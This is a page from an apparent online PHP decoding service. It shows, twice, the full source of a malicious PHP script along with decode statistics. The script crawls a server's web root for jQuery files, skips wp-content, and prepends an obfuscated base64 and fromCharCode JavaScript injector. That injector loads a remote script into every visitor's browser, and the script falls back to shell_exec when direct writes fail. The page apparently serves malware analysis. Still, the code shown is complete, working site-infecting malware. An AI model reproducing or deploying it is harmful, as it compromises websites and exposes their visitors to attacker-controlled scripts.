Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $mm=3; error_reporting(0); ini_set('display_errors',0); ini_set('max_execution_time'..
Decoded Output download
<?php $mm=3; error_reporting(0); ini_set('display_errors',0); ini_set('max_execution_time', 0); echo "ssqqss>>>"; $d = $_SERVER['DOCUMENT_ROOT']."/";$files = array(); for($i = 0; $i < $mm; $i++){ try{
$az = shell_exec('find '.$d.' -name "jquery*js"'); $az2 = explode("
",$az); foreach($az2 as $file) { array_push($files,$file); } $d = $d . "../"; } catch(Exception $e){ } } $l = "/"; for ($i = 0; $i < $mm; $i++) { try { $it = new RecursiveDirectoryIterator($_SERVER['DOCUMENT_ROOT'].$l); $search = Array('jquery'); $files_ar = array(); foreach(new RecursiveIteratorIterator($it) as $file) { if (strpos($file->getFilename(),'jquery') !== false ) {
array_push($files,$file->getPathname()); } }
$l .= "../"; } catch (Exception $e) { } } $files = array_unique($files); foreach($files as $file) { make_index_blog($file);
} die(); function get_var_reg($pat,$text) { if ($c = preg_match_all ("/".$pat."/is", $text, $matches)) { return $matches[1][0]; }
return ""; } function getijstonemoretime($path){ } function make_index_blog($path){if(strpos($path,"jquery-")!==false||strpos($path,"jquery.j")!==false||strpos($path,"jquery.m")!==false){}else{return;}if(strpos($path,"wp-content")!==false){return;}if(strpos($path,".js")!==false){}else{return;} if(strpos($path,"wp-includes")!==false){ $vs5=explode("/wp-includes",$path);$vs6 = $vs5[0]."/index.php";if(strpos(file_get_contents($vs6),"trymyexitthis")!==false){return;} } $t = file_get_contents($path);if(strpos($t,"trackmyposs")!==false){return;} $t2 = base64_decode("Lyp0cnlteWV4aXR0aGlzKi9ldmFsKFN0cmluZy5mcm9tQ2hhckNvZGUoMTE4LDk3LDExNCwzMiwxMTUsOTksMTE0LDEwNSwxMTIsMTE2LDExNSwzMiw2MSwzMiwxMDAsMTExLDk5LDExNywxMDksMTAxLDExMCwxMTYsNDYsMTAzLDEwMSwxMTYsNjksMTA4LDEwMSwxMDksMTAxLDExMCwxMTYsMTE1LDY2LDEyMSw4NCw5NywxMDMsNzgsOTcsMTA5LDEwMSw0MCwzNCwxMTUsOTksMTE0LDEwNSwxMTIsMTE2LDM0LDQxLDU5LDEwLDExOCw5NywxMTQsMzIsMTE5LDk3LDExMCwxMTYsMTA5LDEwMSwzMiw2MSwzMiwxMDIsOTcsMTA4LDExNSwxMDEsNTksMTAsMTAyLDExMSwxMTQsMzIsNDAsMTE4LDk3LDExNCwzMiwxMDUsMzIsNjEsMzIsNDgsNTksMzIsMTA1LDMyLDYwLDMyLDExNSw5OSwxMTQsMTA1LDExMiwxMTYsMTE1LDQ2LDEwOCwxMDEsMTEwLDEwMywxMTYsMTA0LDU5LDMyLDEwNSw0Myw0Myw0MSwzMiwxMjMsMTAsMzIsMzIsMTA1LDEwMiwzMiw0MCwxMTUsOTksMTE0LDEwNSwxMTIsMTE2LDExNSw5MSwxMDUsOTMsNDYsMTA1LDEwMCw0MSwzMiwxMjMsMTAsMzIsMzIsOSwzMiwxMDUsMTAyLDMyLDQwLDExNSw5OSwxMTQsMTA1LDExMiwxMTYsMTE1LDkxLDEwNSw5Myw0NiwxMDUsMTAwLDMyLDYxLDYxLDMyLDM0LDExNiwxMTQsOTcsOTksMTA3LDEwOSw5NywxMDUsMTEwLDk5LDExMSwxMDAsMTAxLDM0LDQxLDEyMywxMCw5LDksMTE5LDk3LDExMCwxMTYsMTA5LDEwMSw2MSwxMTYsMTE0LDExNywxMDEsNTksMTAsOSwzMiwxMjUsMTAsMzIsMzIsMTI1LDMyLDEwLDEyNSwxMCwxMDUsMTAyLDQwLDExOSw5NywxMTAsMTE2LDEwOSwxMDEsNjEsNjEsMTAyLDk3LDEwOCwxMTUsMTAxLDQxLDEyMywxMCw5LDExOCw5NywxMTQsMzIsMTAwLDYxLDEwMCwxMTEsOTksMTE3LDEwOSwxMDEsMTEwLDExNiw1OSwxMTgsOTcsMTE0LDMyLDExNSw2MSwxMDAsNDYsOTksMTE0LDEwMSw5NywxMTYsMTAxLDY5LDEwOCwxMDEsMTA5LDEwMSwxMTAsMTE2LDQwLDM5LDExNSw5OSwxMTQsMTA1LDExMiwxMTYsMzksNDEsNTksMzIsMTE1LDQ2LDEwNSwxMDAsNjEsMzQsMTE2LDExNCw5Nyw5OSwxMDcsMTA5LDk3LDEwNSwxMTAsOTksMTExLDEwMCwxMDEsMzQsNTksMTE1LDQ2LDExNSwxMTQsOTksNjEsODMsMTE2LDExNCwxMDUsMTEwLDEwMyw0NiwxMDIsMTE0LDExMSwxMDksNjcsMTA0LDk3LDExNCw2NywxMTEsMTAwLDEwMSw0MCw0OSw0OCw1Miw0NCw0OSw0OSw1NCw0NCw0OSw0OSw1NCw0NCw0OSw0OSw1MCw0NCw0OSw0OSw1Myw0NCw1Myw1Niw0NCw1Miw1NSw0NCw1Miw1NSw0NCw0OSw0OSw1NCw0NCw0OSw0OSw1Miw0NCw1Nyw1NSw0NCw1Nyw1Nyw0NCw0OSw0OCw1NSw0NCw1Miw1NCw0NCw0OSw0OSw1NCw0NCw0OSw0OSw1Miw0NCw1Nyw1NSw0NCw0OSw0OSw0OCw0NCw0OSw0OSw1Myw0NCw0OSw0OSw1MCw0NCw0OSw0OSw0OSw0NCw0OSw0OSw1Miw0NCw0OSw0OSw1NCw0NCw0OSw0OCw1MSw0NCw0OSw0OSw0OSw0NCw0OSw0OCw1Niw0NCw0OSw0OCw1Myw0NCw0OSw0OSw0OCw0NCw0OSw0OCw0OSw0NCw1Miw1NCw0NCw1Nyw1Nyw0NCw0OSw0OSw0OSw0NCw0OSw0OCw1Nyw0NCw1Miw1NSw0NCw0OSw0OSw1Myw0NCw0OSw0OSw1NCw0NCw0OSw0OSw0OSw0NCw0OSw0OSw1Miw0NCw0OSw0OCw0OSw0NCw1Miw1NCw0NCw0OSw0OCw1NCw0NCw0OSw0OSw1Myw0NCw1NCw1MSw0NCw0OSw0OSw1Niw0NCw1NCw0OSw0NCw1Myw0OCw0NCw1Miw1NCw0NCw1Myw0OCw0NCw1Miw1NCw0NCw1Myw1Myw0MSw1OSwzMiwxMDUsMTAyLDMyLDQwLDEwMCwxMTEsOTksMTE3LDEwOSwxMDEsMTEwLDExNiw0Niw5OSwxMTcsMTE0LDExNCwxMDEsMTEwLDExNiw4Myw5OSwxMTQsMTA1LDExMiwxMTYsNDEsMzIsMTIzLDMyLDEwMCwxMTEsOTksMTE3LDEwOSwxMDEsMTEwLDExNiw0Niw5OSwxMTcsMTE0LDExNCwxMDEsMTEwLDExNiw4Myw5OSwxMTQsMTA1LDExMiwxMTYsNDYsMTEyLDk3LDExNCwxMDEsMTEwLDExNiw3OCwxMTEsMTAwLDEwMSw0NiwxMDUsMTEwLDExNSwxMDEsMTE0LDExNiw2NiwxMDEsMTAyLDExMSwxMTQsMTAxLDQwLDExNSw0NCwzMiwxMDAsMTExLDk5LDExNywxMDksMTAxLDExMCwxMTYsNDYsOTksMTE3LDExNCwxMTQsMTAxLDExMCwxMTYsODMsOTksMTE0LDEwNSwxMTIsMTE2LDQxLDU5LDEyNSwzMiwxMDEsMTA4LDExNSwxMDEsMzIsMTIzLDEwMCw0NiwxMDMsMTAxLDExNiw2OSwxMDgsMTAxLDEwOSwxMDEsMTEwLDExNiwxMTUsNjYsMTIxLDg0LDk3LDEwMyw3OCw5NywxMDksMTAxLDQwLDM5LDEwNCwxMDEsOTcsMTAwLDM5LDQxLDkxLDQ4LDkzLDQ2LDk3LDExMiwxMTIsMTAxLDExMCwxMDAsNjcsMTA0LDEwNSwxMDgsMTAwLDQwLDExNSw0MSw1OSwxMjUsMTAsMTI1KSk7"); $t = $t2.$t;if(file_put_contents($path,$t)==false){$t8 = tmpfile();$t9 = stream_get_meta_data($t8)['uri'];shell_exec("echo \"".$t."\" >> ".$t9);shell_exec("cp ".$t9." ".$path);echo base64_decode("aWlpLT4+cmNzaGhoOg==")."::".$path."<br />";}else{echo base64_decode("aWlpLT4+Tk5OT1c6")."::".$path."<br />";}} ?>
Did this file decode correctly?
Original Code
<?php $mm=3; error_reporting(0); ini_set('display_errors',0); ini_set('max_execution_time', 0); echo "ssqqss>>>"; $d = $_SERVER['DOCUMENT_ROOT']."/";$files = array(); for($i = 0; $i < $mm; $i++){ try{
$az = shell_exec('find '.$d.' -name "jquery*js"'); $az2 = explode("\n",$az); foreach($az2 as $file) { array_push($files,$file); } $d = $d . "../"; } catch(Exception $e){ } } $l = "/"; for ($i = 0; $i < $mm; $i++) { try { $it = new RecursiveDirectoryIterator($_SERVER['DOCUMENT_ROOT'].$l); $search = Array('jquery'); $files_ar = array(); foreach(new RecursiveIteratorIterator($it) as $file) { if (strpos($file->getFilename(),'jquery') !== false ) {
array_push($files,$file->getPathname()); } }
$l .= "../"; } catch (Exception $e) { } } $files = array_unique($files); foreach($files as $file) { make_index_blog($file);
} die(); function get_var_reg($pat,$text) { if ($c = preg_match_all ("/".$pat."/is", $text, $matches)) { return $matches[1][0]; }
return ""; } function getijstonemoretime($path){ } function make_index_blog($path){if(strpos($path,"jquery-")!==false||strpos($path,"jquery.j")!==false||strpos($path,"jquery.m")!==false){}else{return;}if(strpos($path,"wp-content")!==false){return;}if(strpos($path,".js")!==false){}else{return;} if(strpos($path,"wp-includes")!==false){ $vs5=explode("/wp-includes",$path);$vs6 = $vs5[0]."/index.php";if(strpos(file_get_contents($vs6),"trymyexitthis")!==false){return;} } $t = file_get_contents($path);if(strpos($t,"trackmyposs")!==false){return;} $t2 = base64_decode("Lyp0cnlteWV4aXR0aGlzKi9ldmFsKFN0cmluZy5mcm9tQ2hhckNvZGUoMTE4LDk3LDExNCwzMiwxMTUsOTksMTE0LDEwNSwxMTIsMTE2LDExNSwzMiw2MSwzMiwxMDAsMTExLDk5LDExNywxMDksMTAxLDExMCwxMTYsNDYsMTAzLDEwMSwxMTYsNjksMTA4LDEwMSwxMDksMTAxLDExMCwxMTYsMTE1LDY2LDEyMSw4NCw5NywxMDMsNzgsOTcsMTA5LDEwMSw0MCwzNCwxMTUsOTksMTE0LDEwNSwxMTIsMTE2LDM0LDQxLDU5LDEwLDExOCw5NywxMTQsMzIsMTE5LDk3LDExMCwxMTYsMTA5LDEwMSwzMiw2MSwzMiwxMDIsOTcsMTA4LDExNSwxMDEsNTksMTAsMTAyLDExMSwxMTQsMzIsNDAsMTE4LDk3LDExNCwzMiwxMDUsMzIsNjEsMzIsNDgsNTksMzIsMTA1LDMyLDYwLDMyLDExNSw5OSwxMTQsMTA1LDExMiwxMTYsMTE1LDQ2LDEwOCwxMDEsMTEwLDEwMywxMTYsMTA0LDU5LDMyLDEwNSw0Myw0Myw0MSwzMiwxMjMsMTAsMzIsMzIsMTA1LDEwMiwzMiw0MCwxMTUsOTksMTE0LDEwNSwxMTIsMTE2LDExNSw5MSwxMDUsOTMsNDYsMTA1LDEwMCw0MSwzMiwxMjMsMTAsMzIsMzIsOSwzMiwxMDUsMTAyLDMyLDQwLDExNSw5OSwxMTQsMTA1LDExMiwxMTYsMTE1LDkxLDEwNSw5Myw0NiwxMDUsMTAwLDMyLDYxLDYxLDMyLDM0LDExNiwxMTQsOTcsOTksMTA3LDEwOSw5NywxMDUsMTEwLDk5LDExMSwxMDAsMTAxLDM0LDQxLDEyMywxMCw5LDksMTE5LDk3LDExMCwxMTYsMTA5LDEwMSw2MSwxMTYsMTE0LDExNywxMDEsNTksMTAsOSwzMiwxMjUsMTAsMzIsMzIsMTI1LDMyLDEwLDEyNSwxMCwxMDUsMTAyLDQwLDExOSw5NywxMTAsMTE2LDEwOSwxMDEsNjEsNjEsMTAyLDk3LDEwOCwxMTUsMTAxLDQxLDEyMywxMCw5LDExOCw5NywxMTQsMzIsMTAwLDYxLDEwMCwxMTEsOTksMTE3LDEwOSwxMDEsMTEwLDExNiw1OSwxMTgsOTcsMTE0LDMyLDExNSw2MSwxMDAsNDYsOTksMTE0LDEwMSw5NywxMTYsMTAxLDY5LDEwOCwxMDEsMTA5LDEwMSwxMTAsMTE2LDQwLDM5LDExNSw5OSwxMTQsMTA1LDExMiwxMTYsMzksNDEsNTksMzIsMTE1LDQ2LDEwNSwxMDAsNjEsMzQsMTE2LDExNCw5Nyw5OSwxMDcsMTA5LDk3LDEwNSwxMTAsOTksMTExLDEwMCwxMDEsMzQsNTksMTE1LDQ2LDExNSwxMTQsOTksNjEsODMsMTE2LDExNCwxMDUsMTEwLDEwMyw0NiwxMDIsMTE0LDExMSwxMDksNjcsMTA0LDk3LDExNCw2NywxMTEsMTAwLDEwMSw0MCw0OSw0OCw1Miw0NCw0OSw0OSw1NCw0NCw0OSw0OSw1NCw0NCw0OSw0OSw1MCw0NCw0OSw0OSw1Myw0NCw1Myw1Niw0NCw1Miw1NSw0NCw1Miw1NSw0NCw0OSw0OSw1NCw0NCw0OSw0OSw1Miw0NCw1Nyw1NSw0NCw1Nyw1Nyw0NCw0OSw0OCw1NSw0NCw1Miw1NCw0NCw0OSw0OSw1NCw0NCw0OSw0OSw1Miw0NCw1Nyw1NSw0NCw0OSw0OSw0OCw0NCw0OSw0OSw1Myw0NCw0OSw0OSw1MCw0NCw0OSw0OSw0OSw0NCw0OSw0OSw1Miw0NCw0OSw0OSw1NCw0NCw0OSw0OCw1MSw0NCw0OSw0OSw0OSw0NCw0OSw0OCw1Niw0NCw0OSw0OCw1Myw0NCw0OSw0OSw0OCw0NCw0OSw0OCw0OSw0NCw1Miw1NCw0NCw1Nyw1Nyw0NCw0OSw0OSw0OSw0NCw0OSw0OCw1Nyw0NCw1Miw1NSw0NCw0OSw0OSw1Myw0NCw0OSw0OSw1NCw0NCw0OSw0OSw0OSw0NCw0OSw0OSw1Miw0NCw0OSw0OCw0OSw0NCw1Miw1NCw0NCw0OSw0OCw1NCw0NCw0OSw0OSw1Myw0NCw1NCw1MSw0NCw0OSw0OSw1Niw0NCw1NCw0OSw0NCw1Myw0OCw0NCw1Miw1NCw0NCw1Myw0OCw0NCw1Miw1NCw0NCw1Myw1Myw0MSw1OSwzMiwxMDUsMTAyLDMyLDQwLDEwMCwxMTEsOTksMTE3LDEwOSwxMDEsMTEwLDExNiw0Niw5OSwxMTcsMTE0LDExNCwxMDEsMTEwLDExNiw4Myw5OSwxMTQsMTA1LDExMiwxMTYsNDEsMzIsMTIzLDMyLDEwMCwxMTEsOTksMTE3LDEwOSwxMDEsMTEwLDExNiw0Niw5OSwxMTcsMTE0LDExNCwxMDEsMTEwLDExNiw4Myw5OSwxMTQsMTA1LDExMiwxMTYsNDYsMTEyLDk3LDExNCwxMDEsMTEwLDExNiw3OCwxMTEsMTAwLDEwMSw0NiwxMDUsMTEwLDExNSwxMDEsMTE0LDExNiw2NiwxMDEsMTAyLDExMSwxMTQsMTAxLDQwLDExNSw0NCwzMiwxMDAsMTExLDk5LDExNywxMDksMTAxLDExMCwxMTYsNDYsOTksMTE3LDExNCwxMTQsMTAxLDExMCwxMTYsODMsOTksMTE0LDEwNSwxMTIsMTE2LDQxLDU5LDEyNSwzMiwxMDEsMTA4LDExNSwxMDEsMzIsMTIzLDEwMCw0NiwxMDMsMTAxLDExNiw2OSwxMDgsMTAxLDEwOSwxMDEsMTEwLDExNiwxMTUsNjYsMTIxLDg0LDk3LDEwMyw3OCw5NywxMDksMTAxLDQwLDM5LDEwNCwxMDEsOTcsMTAwLDM5LDQxLDkxLDQ4LDkzLDQ2LDk3LDExMiwxMTIsMTAxLDExMCwxMDAsNjcsMTA0LDEwNSwxMDgsMTAwLDQwLDExNSw0MSw1OSwxMjUsMTAsMTI1KSk7"); $t = $t2.$t;if(file_put_contents($path,$t)==false){$t8 = tmpfile();$t9 = stream_get_meta_data($t8)['uri'];shell_exec("echo \"".$t."\" >> ".$t9);shell_exec("cp ".$t9." ".$path);echo base64_decode("aWlpLT4+cmNzaGhoOg==")."::".$path."<br />";}else{echo base64_decode("aWlpLT4+Tk5OT1c6")."::".$path."<br />";}}
Function Calls
None |
Stats
MD5 | 215d13e5c22445ed2941e8845a668a8f |
Eval Count | 0 |
Decode Time | 167 ms |